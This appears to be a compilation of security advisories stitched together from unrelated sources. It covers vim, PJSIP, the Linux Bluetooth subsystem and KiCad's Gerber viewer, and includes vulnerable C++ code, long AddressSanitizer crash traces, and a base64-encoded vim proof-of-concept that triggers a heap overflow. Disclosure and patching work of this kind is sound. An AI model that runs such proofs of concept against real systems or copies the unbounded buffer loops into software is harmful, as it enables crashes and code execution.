Stack-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.

@@ -53,6 +53,14 @@ func Test\_assert\_equal()

call assert\_equal("\\b\\e\\f\\n\\t\\r\\\\\\x01\\x7f", 'x')

call assert\_match('Expected ''\\\\b\\\\e\\\\f\\\\n\\\\t\\\\r\\\\\\\\\\\\x01\\\\x7f'' but got ''x''', v:errors\[0\])

call remove(v:errors, 0)

  

" many composing characters are handled properly

call setline(1, ' ')

norm 100gr݀

call assert\_equal(1, getline(1))

call assert\_match("Expected 1 but got '.\* occurs 100 times\]'", v:errors\[0\])

call remove(v:errors, 0)

bwipe!

endfunc

  

func Test\_assert\_equal\_dict()

CVE-2022-0629: patch 8.2.4397: crash when using many composing characters in error m… · vim/vim@34f8117

Read out-of-bounds in PJSUA API when calling pjsua_recorder_create. An attacker-controlled 'filename' argument may cause an out-of-bounds read when the filename is shorter than 4 characters.

Buffers used in PJSIP typically have limited sizes, especially the ones allocated in the stack or supplied by the application, however in several places, we do not check if our usage can exceed the sizes.

**Impact**

This could cause buffer overflow and impact applications who use the following APIs:

*   pjsua\_player\_create(filename, ...)
*   pjsua\_recorder\_create(filename, ...)
*   pjmedia\_wav\_playlist\_create(..., file\_list, ...)

In all the above APIs, issues could arise if applications supply filenames longer than the internal buffers' sizes. Specific for pjsua_recorder_create(), out-of-bounds read can also happen if app supplies a small filename (shorter than 4 chars).

The issue also affects applications that call:

*   pjsua\_call\_dump(..., buffer, maxlen)  
    and supply buffer that is too short.

**Patches**

The patch is available as commit d979253 in the master branch.

**Workarounds**

A workaround is for the applications to check the parameters' length (i.e. the filenames and the buffer) before calling the above APIs.

**Credits**

Thanks to Uriya Yavnieli of the JFrog Security research team for the report.

**For more information**

If you have any questions or comments about this advisory:  
Email us at security@pjsip.org

CVE-2021-43302

A use-after-free flaw was found in the Linux kernel’s Bluetooth subsystem in the way user calls connect to the socket and disconnect simultaneously due to a race condition. This flaw allows a user to crash the system or escalate their privileges. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.

CVE-2021-3752: [PATCH 5.15 187/917] Bluetooth: fix use-after-free error in lock_sock_nested()

A stack-based buffer overflow vulnerability exists in the Gerber Viewer gerber and excellon ReadXYCoord coordinate parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Summary**

Multiple stack-based buffer overflow vulnerabilities exist in the Gerber Viewer gerber and excellon coordinates parsing functionality of KiCad EDA 6.0.1 and master commit de006fc010. A specially-crafted gerber or excellon file can lead to code execution. An attacker can provide a malicious file to trigger this vulnerability.

**Tested Versions**

KiCad EDA 6.0.1  
KiCad EDA master commit de006fc010

**Product URLs**

KiCad EDA - https://www.kicad.org/

**CVSSv3 Score**

7.8 - CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-121 - Stack-based Buffer Overflow

**Details**

KiCad is a cross-platform open-source software for electronics design automation, used to design and simulate electronic hardware. It offers several tools like schematic and symbol editor, PCB and footprint editor, Gerber viewer and others.

KiCad's Gerber Viewer is found in a separate binary called gerbview and allows the viewing of Gerber files, Excellon files and Gerber job files, optionally contained in zip archives.

When opening a Gerber file, the method GERBER_FILE_IMAGE::LoadGerberFile in readgerb.cpp is called:

    // size of a single line of text from a gerber file.
    // warning: some files can have *very long* lines, so the buffer must be large.
    #define GERBER_BUFZ 1000000
    // A large buffer to store one line
    static char lineBuffer[GERBER_BUFZ+1];  // [7]
    
    bool GERBER_FILE_IMAGE::LoadGerberFile( const wxString&amp; aFullFileName )
    {
        int      G_command = 0;        // command number for G commands like G04
        int      D_commande = 0;       // command number for D commands like D02
        char*    text;
    
        ClearMessageList( );
        ResetDefaultValues();
    
        // Read the gerber file */
        m_Current_File = wxFopen( aFullFileName, wxT( &#34;rt&#34; ) );
    
        if( m_Current_File == nullptr )
            return false;
    
        m_FileName = aFullFileName;
    
        LOCALE_IO toggleIo;
    
        wxString msg;
    
        while( true )
        {
            if( fgets( lineBuffer, GERBER_BUFZ, m_Current_File ) == nullptr )  // [1]
                break;
    
            m_LineNum++;
            text = StrPurge( lineBuffer );
    
            while( text &amp;&amp; *text )
            {
                switch( *text )
                {
                case &#39; &#39;:
                case &#39;\r&#39;:
                case &#39;\n&#39;:
                    text++;
                    break;
    
                case &#39;*&#39;:       // End command
                    m_CommandState = END_BLOCK;
                    text++;
                    break;
    
                case &#39;M&#39;:       // End file
                    m_CommandState = CMD_IDLE;
                    while( *text )
                        text++;
                    break;
    
                case &#39;G&#39;:    /* Line type Gxx : command */
                    G_command = GCodeNumber( text );
                    Execute_G_Command( text, G_command );
                    break;
    
                case &#39;D&#39;:       /* Line type Dxx : Tool selection (xx &gt; 0) or
                                 * command if xx = 0..9 */
                    D_commande = DCodeNumber( text );
                    Execute_DCODE_Command( text, D_commande );
                    break;
    
                case &#39;X&#39;:
                case &#39;Y&#39;:                   /* Move or draw command */
                    m_CurrentPos = ReadXYCoord( text );                        // [2]
                    if( *text == &#39;*&#39; )      // command like X12550Y19250*
                    {
                        Execute_DCODE_Command( text, m_Last_Pen_Command );
                    }
                    break;
    
                case &#39;I&#39;:                                                     // [3]
                case &#39;J&#39;:       /* Auxiliary Move command */
                    m_IJPos = ReadIJCoord( text );
    
                    if( *text == &#39;*&#39; )      // command like X35142Y15945J504*
                    {
                        Execute_DCODE_Command( text, m_Last_Pen_Command );
                    }
                    break;
    

This method takes a gerber file path, opens it, and parses it line-by-line \[1\]. When a line starting with "X" or "Y" is encountered, the method GERBER_FILE_IMAGE::ReadXYCoord is called \[2\], whereas when the line starts with "I" or "J", the method GERBER_FILE_IMAGE::ReadIJCoord is called \[3\]. In both cases, the current line is passed as parameter. Both methods lead to the same issue; let's detail them individually.  
Also note that these same methods can be reached via an Excellon file in a similar way (via EXCELLON_IMAGE::LoadFile), as discussed below.

**CVE-2022-23803 - ReadXYCoord**

    VECTOR2I GERBER_FILE_IMAGE::ReadXYCoord( char*&amp; Text, bool aExcellonMode )
    {
        VECTOR2I pos;
        int      type_coord = 0, current_coord, nbdigits;
        bool     is_float   = false;
        char*    text;
        char     line[256];      // [4]
    
    
        if( m_Relative )
            pos.x = pos.y = 0;
        else
            pos = m_CurrentPos;
    
        if( Text == nullptr )
            return pos;
    
        text = line;
    
        while( *Text )
        {
            if( ( *Text == &#39;X&#39; ) || ( *Text == &#39;Y&#39; ) || ( *Text == &#39;A&#39; ) )
            {
                type_coord = *Text;
                Text++;
                text     = line;
                nbdigits = 0;
    
                while( IsNumber( *Text ) )   // [5]
                {
                    if( *Text == &#39;.&#39; )  // Force decimal format if reading a floating point number
                        is_float = true;
    
                    // count digits only (sign and decimal point are not counted)
                    if( (*Text &gt;= &#39;0&#39;) &amp;&amp; (*Text &lt;=&#39;9&#39;) )
                        nbdigits++;
    
                    *(text++) = *(Text++);    // [6]
                }
    
                *text = 0;
    
                ...
    
                continue;
            }
            else
            {
                break;
            }
        }
    
        if( m_Relative )
        {
            pos.x += m_CurrentPos.x;
            pos.y += m_CurrentPos.y;
        }
    
        m_CurrentPos = pos;
        return pos;
    }
    

At \[4\] a line buffer of size 256 bytes is allocated on the stack. Since the line started with "X" or "Y", the code reaches the while loop at \[5\], which expects a number inside the line. The loop stores the current character in the text buffer (that is, the line buffer) \[6\] and only stops when Text does not point to a number anymore.  
Because Text \[7\] is much larger than line and the loop does not check if \[6\] operates within the line's buffer bounds, the loop could write out of bounds if a large enough line containing numbers is supplied. This is a straightforward stack-based buffer overflow that could lead to code execution. Moreover, *text is assigned later in the same method, so corruption could occur slightly later too.

Allowed characters for IsNumber are the following:

    #define IsNumber( x ) ( ( ( (x) &gt;= &#39;0&#39; ) &amp;&amp; ( (x) &lt;=&#39;9&#39; ) )   \
                           || ( (x) == &#39;-&#39; ) || ( (x) == &#39;+&#39; )  || ( (x) == &#39;.&#39; ) )
    

Note that this method is also used while parsing an Excellon file. In that case, this same issue can be triggered via Execute_EXCELLON_G_Command or Execute_Drill_Command, both eventually calling ReadXYCoord.

**CVE-2022-23804 - ReadIJCoord**

    VECTOR2I GERBER_FILE_IMAGE::ReadIJCoord( char*&amp; Text )
    {
        VECTOR2I pos( 0, 0 );
    
        int     type_coord = 0, current_coord, nbdigits;
        bool    is_float   = false;
        char*   text;
        char    line[256];         // [4]
    
        if( Text == nullptr )
            return pos;
    
        text = line;
    
        while( *Text )
        {
            if( ( *Text == &#39;I&#39; ) || ( *Text == &#39;J&#39; ) )
            {
                type_coord = *Text;
                Text++;
                text     = line;
                nbdigits = 0;
    
                while( IsNumber( *Text ) )   // [5]
                {
                    if( *Text == &#39;.&#39; )
                        is_float = true;
    
                    // count digits only (sign and decimal point are not counted)
                    if( ( *Text &gt;= &#39;0&#39; ) &amp;&amp; ( *Text &lt;= &#39;9&#39; ) )
                        nbdigits++;
    
                    *(text++) = *(Text++);   // [6]
                }
    
                *text = 0;
    
                ...
    
                continue;
            }
            else
            {
                break;
            }
        }
    
        m_IJPos = pos;
        m_LastArcDataType = ARC_INFO_TYPE_CENTER;
        m_LastCoordIsIJPos = true;
    
        return pos;
    }
    

At \[4\] a line buffer of size 256 bytes is allocated on the stack. Since the line started with "I" or "J", the code reaches the while loop at \[5\], which expects a number inside the line. The loop stores the current character in the text buffer (that is, the line buffer) \[6\] and only stops when Text does not point to a number anymore.  
Because Text \[7\] is much larger than line and the loop does not check if \[6\] operates within the line's buffer bounds, the loop could write out of bounds if a large enough line containing numbers is supplied. This is a straightforward stack-based buffer overflow that could lead to code execution. Moreover, *text is assigned later in the same method, so corruption could occur slightly later too.

Allowed characters for IsNumber are the following:

    #define IsNumber( x ) ( ( ( (x) &gt;= &#39;0&#39; ) &amp;&amp; ( (x) &lt;=&#39;9&#39; ) )   \
                           || ( (x) == &#39;-&#39; ) || ( (x) == &#39;+&#39; )  || ( (x) == &#39;.&#39; ) )
    

Note that this method is also used while parsing an Excellon file. In that case, this same issue can be triggered via EXCELLON_IMAGE::LoadFile, Execute_EXCELLON_G_Command or Execute_Drill_Command, all eventually calling ReadIJCoord.

**Crash Information**

    ==1399==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffff8760 at pc 0x7fffed7dca70 bp 0x7fffffff85e0 sp 0x7fffffff85d0
    WRITE of size 1 at 0x7fffffff8760 thread T0
        #0 0x7fffed7dca6f in GERBER_FILE_IMAGE::ReadIJCoord(char*&amp;) src/kicad_1/gerbview/rs274_read_XY_and_IJ_coordinates.cpp:225
        #1 0x7fffed7da527 in GERBER_FILE_IMAGE::LoadGerberFile(wxString const&amp;) src/kicad_1/gerbview/readgerb.cpp:192
        #2 0x7fffed7d8e09 in GERBVIEW_FRAME::Read_GERBER_File(wxString const&amp;) src/kicad_1/gerbview/readgerb.cpp:58
        #3 0x7fffed783cd4 in GERBVIEW_FRAME::LoadListOfGerberAndDrillFiles(wxString const&amp;, wxArrayString const&amp;, std::vector&lt;int, std::allocator&lt;int&gt; &gt; const*) src/kicad_1/ger
    bview/files.cpp:293
        #4 0x7fffed780004 in GERBVIEW_FRAME::LoadGerberFiles(wxString const&amp;) src/kicad_1/gerbview/files.cpp:199
        #5 0x7fffed7acfb5 in GERBVIEW_FRAME::OpenProjectFiles(std::vector&lt;wxString, std::allocator&lt;wxString&gt; &gt; const&amp;, int) src/kicad_1/gerbview/gerbview_frame.cpp:273
        #6 0x55555561eae6 in PGM_SINGLE_TOP::OnPgmInit() src/kicad_1/common/single_top.cpp:428
        #7 0x555555625b0c in APP_SINGLE_TOP::OnInit() (gerbview+0xd1b0c)
        #8 0x5555556245c1 in wxAppConsoleBase::CallOnInit() (gerbview+0xd05c1)
        #9 0x7ffff6a38799 in wxEntry(int&amp;, wchar_t**) (/lib/x86_64-linux-gnu/libwx_baseu-3.0.so.0+0x113799)
        #10 0x55555561d75a in main src/kicad_1/common/single_top.cpp:269
        #11 0x7ffff509e0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #12 0x55555561d2ed in _start (gerbview+0xc92ed)
    
    Address 0x7fffffff8760 is located in stack of thread T0 at offset 288 in frame
        #0 0x7fffed7dc437 in GERBER_FILE_IMAGE::ReadIJCoord(char*&amp;) src/kicad_1/gerbview/rs274_read_XY_and_IJ_coordinates.cpp:194
    
      This frame has 1 object(s):
        [32, 288) &#39;line&#39; (line 200) &lt;== Memory access at offset 288 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
          (longjmp and C++ exceptions *are* supported)
    SUMMARY: AddressSanitizer: stack-buffer-overflow src/kicad_1/gerbview/rs274_read_XY_and_IJ_coordinates.cpp:225 in GERBER_FILE_IMAGE::ReadIJCoord(char*&amp;)
    Shadow bytes around the buggy address:
      0x10007fff7090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff70c0: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
      0x10007fff70d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =&gt;0x10007fff70e0: 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3 f3 f3
      0x10007fff70f0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
      0x10007fff7100: 00 00 00 00 f1 f1 f1 f1 00 00 00 f2 00 00 00 f2
      0x10007fff7110: 00 00 00 f2 f2 f2 00 00 00 00 00 f2 f2 f2 f2 f2
      0x10007fff7120: 00 00 00 00 00 f2 f2 f2 f2 f2 f8 f8 f8 f8 f8 f8
      0x10007fff7130: f2 f2 f2 f2 00 00 00 00 00 00 f2 f2 f2 f2 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==1399==ABORTING
    

**Timeline**

2022-02-02 - Vendor Disclosure

2022-02-16 - Public Release

Discovered by Claudio Bozzato of Cisco Talos.

CVE-2022-23803: TALOS-2022-1453 || Cisco Talos Intelligence Group

Heap-based Buffer Overflow in GitHub repository vim/vim prior to 8.2.

**Description**

Heap overflow occurs in ex\_retab().

commit : 414acd342f4a66d930da34d419929985b48bd301

**Proof of Concept**

    $ echo -ne "ZnUgUihiLG4pCmxldCBvbGRfdGFic3RvcD0mdGFic3RvcApleGUicmV0ImE6bgppZiBhOm4KZXhl
    J3NlIHRhYnN0b3A9Jy5vbGRfdGFic3RvcAplbApjYWwgbCgiIixSKCcnLDQpCmNhbCBsKCIiLFIo
    JycsJycpCmVuZGYKY2FsIHNldGxpbmUoMSwiXHQwXHQiKQpzZSB0YWJzdG9wPTUwCmNhbF8oIiIs
    UignJywwKQo=" | base64 -d > poc
    
    # ASAN
    $ ./bin/vim.asan -u NONE -i NONE -n -X -Z -e -m -s -S poc -c ":qa!"
    =================================================================
    ==15561==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f99766cb000 at pc 0x000000499a42 bp 0x7ffc0b8ce870 sp 0x7ffc0b8ce038
    WRITE of size 49437514 at 0x7f99766cb000 thread T0
        #0 0x499a41 in __asan_memmove (/home/alkyne/vim-debug/src/vim.asan+0x499a41)
        #1 0x7e63a6 in ex_retab /home/alkyne/vim-debug/src/indent.c:1732:4
        #2 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #3 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #4 0x62267b in ex_execute /home/alkyne/vim-debug/src/eval.c:6494:6
        #5 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #6 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #7 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #8 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #9 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #10 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #11 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #12 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #13 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #14 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #15 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #16 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #17 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #18 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #19 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #20 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #21 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #22 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #23 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #24 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #25 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #26 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #27 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #28 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #29 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #30 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #31 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #32 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #33 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #34 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #35 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #36 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #37 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #38 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #39 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #40 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #41 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #42 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #43 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #44 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #45 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #46 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #47 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #48 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #49 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #50 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #51 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #52 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #53 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #54 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #55 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #56 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #57 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #58 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #59 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #60 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #61 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #62 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #63 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #64 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #65 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #66 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #67 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #68 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #69 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #70 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #71 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #72 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #73 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #74 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #75 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #76 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #77 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #78 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #79 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #80 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #81 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #82 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #83 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #84 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #85 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #86 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #87 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #88 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #89 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #90 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #91 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #92 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #93 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #94 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #95 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #96 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #97 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #98 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #99 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #100 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #101 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #102 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #103 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #104 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #105 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #106 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #107 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #108 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #109 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #110 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #111 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #112 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #113 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #114 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #115 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #116 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #117 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #118 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #119 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #120 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #121 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #122 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #123 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #124 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #125 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #126 0xcc599c in call_user_func /home/alkyne/vim-debug/src/userfunc.c:2819:2
        #127 0xcc2be6 in call_user_func_check /home/alkyne/vim-debug/src/userfunc.c:2966:2
        #128 0xcbf5c2 in call_func /home/alkyne/vim-debug/src/userfunc.c:3520:11
        #129 0xcbd944 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1781:8
        #130 0x6270e8 in eval_func /home/alkyne/vim-debug/src/eval.c:2096:8
        #131 0x625995 in eval7 /home/alkyne/vim-debug/src/eval.c:3739:9
        #132 0x62c708 in eval7t /home/alkyne/vim-debug/src/eval.c:3419:11
        #133 0x62b12c in eval6 /home/alkyne/vim-debug/src/eval.c:3211:9
        #134 0x629490 in eval5 /home/alkyne/vim-debug/src/eval.c:2974:9
        #135 0x6284bc in eval4 /home/alkyne/vim-debug/src/eval.c:2827:9
        #136 0x6274ff in eval3 /home/alkyne/vim-debug/src/eval.c:2688:9
        #137 0x61062f in eval2 /home/alkyne/vim-debug/src/eval.c:2562:9
        #138 0x5fd07f in eval1 /home/alkyne/vim-debug/src/eval.c:2408:9
        #139 0xcbd1e1 in get_func_tv /home/alkyne/vim-debug/src/userfunc.c:1727:6
        #140 0xcde5b6 in ex_call /home/alkyne/vim-debug/src/userfunc.c:5372:6
        #141 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #142 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #143 0xacfae4 in do_source /home/alkyne/vim-debug/src/scriptfile.c:1512:5
        #144 0xacd35c in cmd_source /home/alkyne/vim-debug/src/scriptfile.c:1098:14
        #145 0xacd0dd in ex_source /home/alkyne/vim-debug/src/scriptfile.c:1124:2
        #146 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #147 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
        #148 0x6b43f0 in do_cmdline_cmd /home/alkyne/vim-debug/src/ex_docmd.c:587:12
        #149 0xe9ce54 in exe_commands /home/alkyne/vim-debug/src/main.c:3089:2
        #150 0xe9ab8e in vim_main2 /home/alkyne/vim-debug/src/main.c:772:2
        #151 0xe947cb in main /home/alkyne/vim-debug/src/main.c:424:12
        #152 0x7f998957f0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
        #153 0x41d9cd in _start (/home/alkyne/vim-debug/src/vim.asan+0x41d9cd)
    
    0x7f99766cb000 is located 6144 bytes to the left of 9315507-byte region [0x7f99766cc800,0x7f9976faecb3)
    allocated by thread T0 here:
        #0 0x49a17d in __interceptor_malloc (/home/alkyne/vim-debug/src/vim.asan+0x49a17d)
        #1 0x4cc2d8 in lalloc /home/alkyne/vim-debug/src/alloc.c:248:11
        #2 0x4cc229 in alloc /home/alkyne/vim-debug/src/alloc.c:151:12
        #3 0x7e632a in ex_retab /home/alkyne/vim-debug/src/indent.c:1727:15
        #4 0x6bd688 in do_one_cmd /home/alkyne/vim-debug/src/ex_docmd.c:2567:2
        #5 0x6b1132 in do_cmdline /home/alkyne/vim-debug/src/ex_docmd.c:993:17
